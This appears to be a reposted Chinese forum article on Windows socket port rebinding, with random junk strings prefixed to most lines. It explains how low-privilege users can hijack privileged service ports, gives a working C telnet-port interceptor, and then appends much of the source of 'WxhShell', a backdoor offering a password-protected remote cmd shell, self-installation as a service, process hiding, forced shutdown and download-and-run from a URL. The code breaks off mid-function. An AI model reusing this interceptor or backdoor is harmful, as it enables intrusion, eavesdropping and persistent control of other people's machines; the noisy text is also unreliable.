在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5Nl?Km~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]Z?jo#F 5a&BgBO1M saddr.sin_family = AF_INET;
zl<D"eP <:4b4Nl saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SZvp%hS0 ipyc(u6Z5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
L)c]i'WZ a66Ns7Rb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(_]D\g~ upnX7as 这意味着什么?意味着可以进行如下的攻击:
P'^& SK MM6PaD{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-"rANP-UI ^hcK& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'^`iF,rg wZVLpF+7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XT?wCb41R
Clb7=@f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Nq1YFI>W ,P%i%YPj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
hP}-yW6] 5zOC zm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wxJoWbn <99/7># 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
k$GtzjN 2~R%_r+< #include
5Q\ hd*+g #include
"U/yq #include
Nw{Cu+AwG #include
iJ`zWpj+{Q DWORD WINAPI ClientThread(LPVOID lpParam);
/>wE[` int main()
gC(@]% {
2fg
P WORD wVersionRequested;
p-xG&CU DWORD ret;
+8Y|kC{9" WSADATA wsaData;
]=PkgOJD BOOL val;
GI@;76Qf SOCKADDR_IN saddr;
C3'?E<F SOCKADDR_IN scaddr;
izzX$O[=: int err;
Tgl > SOCKET s;
PS8^= SOCKET sc;
AH-BZ8 int caddsize;
\OXQ%J2v HANDLE mt;
](FFvqA DWORD tid;
gVrfZ&XF84 wVersionRequested = MAKEWORD( 2, 2 );
!hjF"Pa err = WSAStartup( wVersionRequested, &wsaData );
KciN"g|X if ( err != 0 ) {
|h&Z. printf("error!WSAStartup failed!\n");
yb,X
}"Et return -1;
vR&b2G7o }
!#zO% saddr.sin_family = AF_INET;
~~=]_lwyK% eV~"T2!Sb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%CrTO( BwrX.!M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n5z|@I`S_ saddr.sin_port = htons(23);
M2\c0^R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)7p(htCz5 {
^#IE
t# printf("error!socket failed!\n");
Wt=\hixj- return -1;
|AT`(71 }
;/t~MH val = TRUE;
%w?C)$Kn\ //SO_REUSEADDR选项就是可以实现端口重绑定的
WZTAXOw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
FmFjRYA W {
J~n|5*cz printf("error!setsockopt failed!\n");
W23Q>x&S return -1;
Te`@{> }
e^,IZ{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|QD#Dx1_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;+.cD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
c3 )jsf iXq*EZb"R if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*Q)-"]O(k {
%'X~9Pvi ret=GetLastError();
:K 5?&kT printf("error!bind failed!\n");
wWSo+40 return -1;
1xu~@v60 }
]s!id[j listen(s,2);
94^b"hU while(1)
7&D)+{g {
CO9PQ`9+ caddsize = sizeof(scaddr);
c2Exga_ //接受连接请求
)iZU\2L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
c&N;r|N if(sc!=INVALID_SOCKET)
L|L|liWd {
#kh:GAp] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p<z eaf0W if(mt==NULL)
5S,Kq35$( {
)8oN$20 printf("Thread Creat Failed!\n");
J_fs}Y1q\ break;
Pd-LDs+Ga }
dPbn[*: }
~9xkiu5~ CloseHandle(mt);
; O(M l }z }
bt(Y@3; closesocket(s);
)EQz9 WSACleanup();
v~yw-}fk% return 0;
'MBXk2?b }
w/"vf3}(9 DWORD WINAPI ClientThread(LPVOID lpParam)
\.}ZvM$ {
H=\Tse_. SOCKET ss = (SOCKET)lpParam;
?@7!D8$9 SOCKET sc;
ijUu{PG`X unsigned char buf[4096];
tTF<DD}8 SOCKADDR_IN saddr;
<h;_: long num;
`<g6^ P DWORD val;
rS+) )! DWORD ret;
{M7`"+~w //如果是隐藏端口应用的话,可以在此处加一些判断
.6LRg //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
D9NQ3[R 9 saddr.sin_family = AF_INET;
5gII|8>rQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m Rm}7p saddr.sin_port = htons(23);
oK
7:e~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
REYvFx?i {
;obOr~Jx'5 printf("error!socket failed!\n");
d7mn(= & return -1;
}2;iIw` }
9_nbMs val = 100;
'=%`;?j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vm{8x o {
+2}cR66% ret = GetLastError();
[ZC\8tP`V return -1;
93:oXyFjD }
97$Q?a8S@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KO%$ {
Xdo\DQn ret = GetLastError();
?Z_T3/ f return -1;
Kh[l};/F }
~,E }^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
SDV#p];u {
LMx/0 printf("error!socket connect failed!\n");
$v[mIR closesocket(sc);
S89j:KRXH% closesocket(ss);
3 o$zT9j return -1;
vd(S&&]o1 }
_p5#`-%mM while(1)
5S2 j5M00 {
]z5hTY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~*"ZF-c, //如果是嗅探内容的话,可以再此处进行内容分析和记录
C:}1r //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
T/2k2r4PD num = recv(ss,buf,4096,0);
]jC{o,?s if(num>0)
h# KSKKNW send(sc,buf,num,0);
bmK else if(num==0)
1#%H!GKvTU break;
`GW&*[.7 num = recv(sc,buf,4096,0);
|59)6/i if(num>0)
|JF,n~n send(ss,buf,num,0);
*4NY"EwjN else if(num==0)
gzn:]Y^ break;
: r ~iFP* }
J(@" 7RX closesocket(ss);
8Iu6r}k?~` closesocket(sc);
=}kISh return 0 ;
mXyN{`q= }
U;4i&=.! "uT2 DY[ Y0krFhL'x0 ==========================================================
9jY+0h*uP {:*G/*1[. 下边附上一个代码,,WXhSHELL
ej@4jpHQN U5TkgHN{y ==========================================================
tpEy-"D& wpt$bqs|1 #include "stdafx.h"
7)5G 1 _h5d~ #include <stdio.h>
w8R7Ksn( #include <string.h>
gd]S;<Jh #include <windows.h>
HcJ!( #include <winsock2.h>
Q~qM;l\i #include <winsvc.h>
pfHjs3A= #include <urlmon.h>
egSs=\ L.yM" #pragma comment (lib, "Ws2_32.lib")
UPr&
`kaJ #pragma comment (lib, "urlmon.lib")
dsx<ZwZN> .?5
~zK #define MAX_USER 100 // 最大客户端连接数
036m\7+Qj #define BUF_SOCK 200 // sock buffer
5,s@K>9l; #define KEY_BUFF 255 // 输入 buffer
F-rhxJd
]&"ii #define REBOOT 0 // 重启
1fMV$T==K #define SHUTDOWN 1 // 关机
%J9u?-~ Hv/5) #define DEF_PORT 5000 // 监听端口
fs;\_E[) KpLaQb #define REG_LEN 16 // 注册表键长度
q[W6I9 #define SVC_LEN 80 // NT服务名长度
Khi;2{` 6E
K <9M // 从dll定义API
t0e5L{ QJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ui,!_O .c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
IqFcrU$4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
I:/|{:5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"{qnm+G =v?P7;T // wxhshell配置信息
tc[Ld# struct WSCFG {
VBPtM{g int ws_port; // 监听端口
,cS# char ws_passstr[REG_LEN]; // 口令
3IQI={:k|D int ws_autoins; // 安装标记, 1=yes 0=no
^.iRU'{ char ws_regname[REG_LEN]; // 注册表键名
bRyxP2 char ws_svcname[REG_LEN]; // 服务名
ym%` l! char ws_svcdisp[SVC_LEN]; // 服务显示名
#}B1W&\sw char ws_svcdesc[SVC_LEN]; // 服务描述信息
J.XhP_aT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Um\HX6 int ws_downexe; // 下载执行标记, 1=yes 0=no
.=Oww char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
A03io8D6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
GvG8s6IZ L~{(9J'( };
MXfyj5K @(35I // default Wxhshell configuration
r>ed/<_>m; struct WSCFG wscfg={DEF_PORT,
9v`sSTlSd "xuhuanlingzhe",
<(@S;?ZEW 1,
9ghzK?Yc "Wxhshell",
,'HjL:r "Wxhshell",
#J3o~,t< "WxhShell Service",
\P+^BG! "Wrsky Windows CmdShell Service",
]
&" ` "Please Input Your Password: ",
}(!Uq 1,
HQ9tvSc "
http://www.wrsky.com/wxhshell.exe",
2"Wq=qy\J "Wxhshell.exe"
q MrM^ ~ };
Ul/m]b6- \1joW# // 消息定义模块
4]m{^z`1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dWkQ NFKF char *msg_ws_prompt="\n\r? for help\n\r#>";
'A.5T%n- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|[iO./zP char *msg_ws_ext="\n\rExit.";
3%(r,AD char *msg_ws_end="\n\rQuit.";
Be@g|'r char *msg_ws_boot="\n\rReboot...";
R|(X_A char *msg_ws_poff="\n\rShutdown...";
I50LysM char *msg_ws_down="\n\rSave to ";
1c#\CO1l \9OKf|#j char *msg_ws_err="\n\rErr!";
\RR`
F .7 char *msg_ws_ok="\n\rOK!";
BWxJ1ENM
"1^tVw| char ExeFile[MAX_PATH];
y*X.DS 1(w int nUser = 0;
6>#8^{[ HANDLE handles[MAX_USER];
WHBGhU int OsIsNt;
X9|*`h < X)hpbHa SERVICE_STATUS serviceStatus;
1ow,'FztPt SERVICE_STATUS_HANDLE hServiceStatusHandle;
tjRwbnT" X$\CC18 // 函数声明
mxF+Fp~ int Install(void);
PVF:p7 int Uninstall(void);
B *O/>=_ int DownloadFile(char *sURL, SOCKET wsh);
~<<32t'S: int Boot(int flag);
R[jFB
7dd void HideProc(void);
:Bt,.uNC int GetOsVer(void);
W[DoQ @q int Wxhshell(SOCKET wsl);
1aS:bFi` void TalkWithClient(void *cs);
nlhv int CmdShell(SOCKET sock);
WO9vOS> int StartFromService(void);
OAs>F" int StartWxhshell(LPSTR lpCmdLine);
>Tl/3{V "]G'^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2;>uP#1] VOID WINAPI NTServiceHandler( DWORD fdwControl );
h%u!UHA +JC"@
// 数据结构和表定义
'@+q_v@Jl SERVICE_TABLE_ENTRY DispatchTable[] =
Ew{*)r)m {
*&Iv Eu {wscfg.ws_svcname, NTServiceMain},
/D^ g" {NULL, NULL}
$mKExW };
]!^wB 3j "@^<~bw // 自我安装
-Q J8\/1> int Install(void)
j*|0#q;e6 {
Mx6
yk, char svExeFile[MAX_PATH];
=|Qxv`S1 HKEY key;
n=JV*h0 strcpy(svExeFile,ExeFile);
oKGF'y?A> Ru#pJb(R // 如果是win9x系统,修改注册表设为自启动
tzd!r7 if(!OsIsNt) {
Q.eD:@%iE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8(Ptse
, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>gL&a#<S RegCloseKey(key);
.!L{yU, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r`sKe
& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zfI{cMn'J RegCloseKey(key);
Zy9IRZe4U return 0;
{aV,h@> }
h(AL\9{=} }
q { }
,Nw2cv}D else {
{na>)qzKP Wf8@B#^{ // 如果是NT以上系统,安装为系统服务
"2-D[rYZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
LqI&1$# if (schSCManager!=0)
{g[kn^| {
A#?Cts,M SC_HANDLE schService = CreateService
G#` (
4zhh**]B schSCManager,
Q6URaw#Yt` wscfg.ws_svcname,
;AVIt!(L~V wscfg.ws_svcdisp,
#+_=(J SERVICE_ALL_ACCESS,
4noy!h SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}BT0dKx SERVICE_AUTO_START,
X!~y&[;[C SERVICE_ERROR_NORMAL,
qhTVsZ:{C svExeFile,
R#y"SxD() NULL,
9^H.[t NULL,
ADOA&r[ NULL,
/3hY[#e NULL,
?5B?P:=kl NULL
XefmC6X );
guf&V}& if (schService!=0)
`5(F'o {
iT|7**+3 CloseServiceHandle(schService);
u.n'dF- CloseServiceHandle(schSCManager);
Z
Q*hrgQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e, 2/3jO strcat(svExeFile,wscfg.ws_svcname);
YZ:C9:S6X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m}D;=>2$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Q;z!]hjBM RegCloseKey(key);
RS&BS; return 0;
4,R"(ej }
*CQZ6&^ }
"WtYqXyd CloseServiceHandle(schSCManager);
^jRX6 }
j$s/YI: }
j$lf>.[I noz1W ] return 1;
Yd~J( }
#ucb jy>?+hm? // 自我卸载
.)bNi*& int Uninstall(void)
_4nm h0q4 {
$'eY-U8q HKEY key;
\JR^uJ{Y 4:**d[|1 if(!OsIsNt) {
e9/Mjq\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tKh RegDeleteValue(key,wscfg.ws_regname);
%;u"2L0@ RegCloseKey(key);
W{Z7= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W?kJ+1"( RegDeleteValue(key,wscfg.ws_regname);
m`$Q/SyvG RegCloseKey(key);
bd}[X'4d return 0;
:HrFbq }
Svo\+S }
6yAZvX }
t54?<- else {
2,g4yXws5 .:Sk=r4u\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[7r^fD
A if (schSCManager!=0)
tq'ri-c&b {
2cIbX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
k #\j \t- if (schService!=0)
/!;v$es
S {
[\h?mlG? if(DeleteService(schService)!=0) {
i0+e3!QU CloseServiceHandle(schService);
I#;dS!W"' CloseServiceHandle(schSCManager);
^LB] return 0;
aMHC+R1X }
6L\]Ee CloseServiceHandle(schService);
GBpdj}2= }
@b., pwZF CloseServiceHandle(schSCManager);
KDGrX[L:6 }
'PFjZGaKR }
3pW4Ul@e Qmo}esb'( return 1;
#QcRN?s }
GRofOJ 2&]LZ:( // 从指定url下载文件
)Qe]!$tqfD int DownloadFile(char *sURL, SOCKET wsh)
I
2OQ {
5cU:wc HRESULT hr;
=6=:OId char seps[]= "/";
's5rl char *token;
~QPTs1Vk8 char *file;
BB69U char myURL[MAX_PATH];
gdqBT]j char myFILE[MAX_PATH];
]yqE6Lf9 BaIuOZ@, strcpy(myURL,sURL);
s]kzXzRC? token=strtok(myURL,seps);
c[ 0`8s! while(token!=NULL)
P,-5af*; {
8>x'. 8 file=token;
L1g0Dd\Ox token=strtok(NULL,seps);
bE2O[B }
I"3C/ pU2 6H U*, GetCurrentDirectory(MAX_PATH,myFILE);
ZADMtsk strcat(myFILE, "\\");
ZS]Z0iZv9 strcat(myFILE, file);
a:HN#P)12 send(wsh,myFILE,strlen(myFILE),0);
?)k]Vg. send(wsh,"...",3,0);
\.H9e/vU` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Z^4+ 88 if(hr==S_OK)
+O9x8OPHW return 0;
+'olC^?5 } else
)YAU|sCAi$ return 1;
h2Th)&Fb> &^HVuYa.0 }
O
j:I @c X9FO"(J // 系统电源模块
nIfAG^?|* int Boot(int flag)
F|5Au>t {
S|LY U!IWZ HANDLE hToken;
$^?VyHXvY TOKEN_PRIVILEGES tkp;
p19@to5l TKsP#Dt/ if(OsIsNt) {
1>L'F8" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9Sd?,z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?(K=du tkp.PrivilegeCount = 1;
i(cKg&+ktd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c@}t@k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>ZG$8y 'j if(flag==REBOOT) {
qsbo"29 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9=T;Dxn return 0;
w4TQ4
Y }
'2<r{ else {
W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2;:p
H3 return 0;
m&xVlS }
u|AMqS }
Zxqlhq/) else {
Dr%wab"yy if(flag==REBOOT) {
%3#C0%{x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"Z,T%] return 0;
l,l6j";ohd }
_<sN54 else {
h\3-8m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s>L.V2!$0 return 0;
7t<MHdw }
h| wdx(4
}
?#Z4Dg
9| \
ya@9OA return 1;
|#Lz0<c; }
p?ccBq g9VY{[V // win9x进程隐藏模块
MO7R3PP void HideProc(void)
$m*Gu:#xm& {
GCO: !,1 `<>QKpAn HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
kI@<H< if ( hKernel != NULL )
IHd
W!q {
"P(obk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h{ix$Xn~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
C<(oaeQY FreeLibrary(hKernel);
YOGj__: }
0\ (:y^X Gvh"3|u?z return;
/P TRe5-7 }
W9tZX5V1 Mkk.8AjC| // 获取操作系统版本
_[Imwu} int GetOsVer(void)
a4 N f\7 {
][?J8F OSVERSIONINFO winfo;
QOg >|"KL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`m<O!I"A GetVersionEx(&winfo);
3Zd,"/RH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zN[&
iKf return 1;
,z/aT6M?H else
E/%"%&`8j return 0;
YT(Eh3ID }
C]5 kQ1Og kV?fie<\) // 客户端句柄模块
Bz-jy. int Wxhshell(SOCKET wsl)
v=lW5%r,' {
!1=OaOT SOCKET wsh;
6V JudNA struct sockaddr_in client;
$'Mf$h DWORD myID;
;2&" breF,d$ while(nUser<MAX_USER)
LAf#Rco4 {
O=}Rp1 int nSize=sizeof(client);
1a{r1([) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
B^P&+,\[} if(wsh==INVALID_SOCKET) return 1;
3lpxh_ 0`c{9gY. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2y^:T'p if(handles[nUser]==0)
-2J37 closesocket(wsh);
sV%DX5@ else
-#;xfJE nUser++;
Z*mbhod }
&Q?@VNi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4l%W]' Hh=fv~X return 0;
|> ]@w\] }
Wmcd{MOS EC,`t*< // 关闭 socket
/ugyUpyg void CloseIt(SOCKET wsh)
w($a'&d`0 {
TMPk)N1Ka closesocket(wsh);
<Jhd%O nUser--;
YFB>GQ; ExitThread(0);
}5oI` 9VT }
Uz! 3){E Jk\-e`eE // 客户端请求句柄
q q&U)-` void TalkWithClient(void *cs)
H@xS<=:lM {
3_XLx{["' s)qrlv5H SOCKET wsh=(SOCKET)cs;
bT2G
G char pwd[SVC_LEN];
\N0vA~N. char cmd[KEY_BUFF];
t
sUu char chr[1];
z6E =%-` int i,j;
A3_p*n@ Bgc]t while (nUser < MAX_USER) {
<F0^+Pf/ EA6l11{Gk1 if(wscfg.ws_passstr) {
o$.#A]Flb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>{Hg+/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%CiF;wJ //ZeroMemory(pwd,KEY_BUFF);
C-c'"FHq i=0;
P1LOj while(i<SVC_LEN) {
j%nN*ms f- 9t // 设置超时
2n@`Og_0 fd_set FdRead;
[//i "Nm struct timeval TimeOut;
a&b/C*R_ FD_ZERO(&FdRead);
NLL"~ FD_SET(wsh,&FdRead);
Ju47} t%HB TimeOut.tv_sec=8;
VM\R-[ TimeOut.tv_usec=0;
{ac$4#Bp[B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]}rNxT4< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T@yQOD7 BkXv4|UE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xNOKa* pwd
=chr[0]; .i4aM;Qy
if(chr[0]==0xd || chr[0]==0xa) { zT,@PIC(
pwd=0; WC~;t4
break; *2a" 2o
} l6HtZ(
i++; ekyCZ8iai
} (cLK hn@
c 1F^Gj!8
// 如果是非法用户,关闭 socket K& ^qn&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X#$ oV#
} %(eQ1ir +
=figat
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G`0O5G:1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <9fXf*
M+
%O-B
while(1) { (rBsh6@)
Zio!j%G
ZeroMemory(cmd,KEY_BUFF); #2_FM!e
u5}:[4N%I
// 自动支持客户端 telnet标准 ]ouoRlb/
j=0; u$a K19K/
while(j<KEY_BUFF) { La1:WYt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |cY HH$
cmd[j]=chr[0]; %;:![?M
if(chr[0]==0xa || chr[0]==0xd) { .2JZ7
cmd[j]=0; *P*~CHx>
break; :[n~(~7?
} ,nteIR'??
j++; u?72]?SM
} K _VIk'RB
^R@)CIQ
// 下载文件 5 [~HL_u;,
if(strstr(cmd,"http://")) { (]'wQ4iQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); yg}O9!M J
if(DownloadFile(cmd,wsh)) ct-Bq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YM_ [
else ^aAs=KditO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {"Sv~L|J;
} \UK}B
else { j.Uy>ol
2: gh q
switch(cmd[0]) { ivo><"Y(r
M8WjqTq
// 帮助 ZzE( S
case '?': { O6y:e#0z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j67a?0<C2U
break; 9y6u&!PZ\
} L D[\eJ_
// 安装 GW>F:<p
case 'i': { GqCBD-@4v.
if(Install()) tjtvO@?1-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d {U%q
d
else +&G(AW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |"LHo
H
break;
6NV592
} s 7 nl
// 卸载 G]aey>)
case 'r': { ~Re4zU
if(Uninstall()) Fc`IRPW<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Jf
LTG.
else A` _dj}UF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6t; ;Fz
break; q("XS
} $5 G(_
// 显示 wxhshell 所在路径 Iz+%wAZ|B6
case 'p': { [ x{$f7CEh
char svExeFile[MAX_PATH]; SV t~pE+Y
strcpy(svExeFile,"\n\r"); 3#,6(k4>
strcat(svExeFile,ExeFile); dM^EYW
send(wsh,svExeFile,strlen(svExeFile),0); Cty{
break; *Ze0V9$'
} )KFxtM-
// 重启 tjThQ
case 'b': { V6dq8Z"h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fj<*!J$,
if(Boot(REBOOT)) <MG&3L.[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kNWTM%u9
else { 'M6+(`x
closesocket(wsh); G)s.~ T
ExitThread(0); ri4z^1\
} "|(.W3f1
break; m@kLZimD
} 6inAnC@I
// 关机 >C_G~R
case 'd': { 3mU~G}ig
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hev;M)t
if(Boot(SHUTDOWN)) $rW(*#C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CJN~p]\
else { bh5D}w
closesocket(wsh); =|AYT6z,
ExitThread(0); }d}sC\>U
} %N&.B
break; [#Apd1S_
} n32"cFPpT
// 获取shell _s@PL59,
case 's': { ':_9o5I
CmdShell(wsh); w3q'n%
closesocket(wsh); mTu>S
ExitThread(0); 9+9g (6
break; yOz6a :r
} V.
i{IW
// 退出 &X:;B'
case 'x': { =M-=94
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F&!vtlV)
CloseIt(wsh); ]CLM'$
break; DQK?y=vf
} ?0:]%t18
// 离开 tx
d0S!
case 'q': { Z#@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zfk]Z9YO
closesocket(wsh); 9Zd\6F,
WSACleanup(); B0|W
exit(1); QBGm)h?=
break; (8m_ GfT
} *y?6m,38V
} 0^S$_L
} DcBAncsK
O0jOI3/P%
// 提示信息 mhrF9&s
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s.7=!JQ#]p
} v@ QnS
} 9NwUXh(:(
`l'T/F\
return; `PAQv+EYz
} |HT7m5tu4
QBXEM=
// shell模块句柄 m2^vH+wD
int CmdShell(SOCKET sock) s?;8h &]=
{ 9soEHG=P
STARTUPINFO si; *7H
*epUa
ZeroMemory(&si,sizeof(si)); roc DO8f
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >m lQ@Z_O
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'dBe,@
PROCESS_INFORMATION ProcessInfo;
^cw9Yjh6
char cmdline[]="cmd"; v|~=rvXFC
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T1$p%yQH
return 0; Nzgi)xX0HX
} ?xv."I%
uz+WVmb
// 自身启动模式 2iM}YCV
int StartFromService(void) O EaL2T
{ 6oLOA}q
typedef struct eb`3'&zV&)
{ &c!6e<o[p
DWORD ExitStatus; vC>2%Zgf-
DWORD PebBaseAddress; })<u~r
DWORD AffinityMask; O^CBa$
DWORD BasePriority; uQc("F
ULONG UniqueProcessId; F-zIzzb&O
ULONG InheritedFromUniqueProcessId; h[qZM
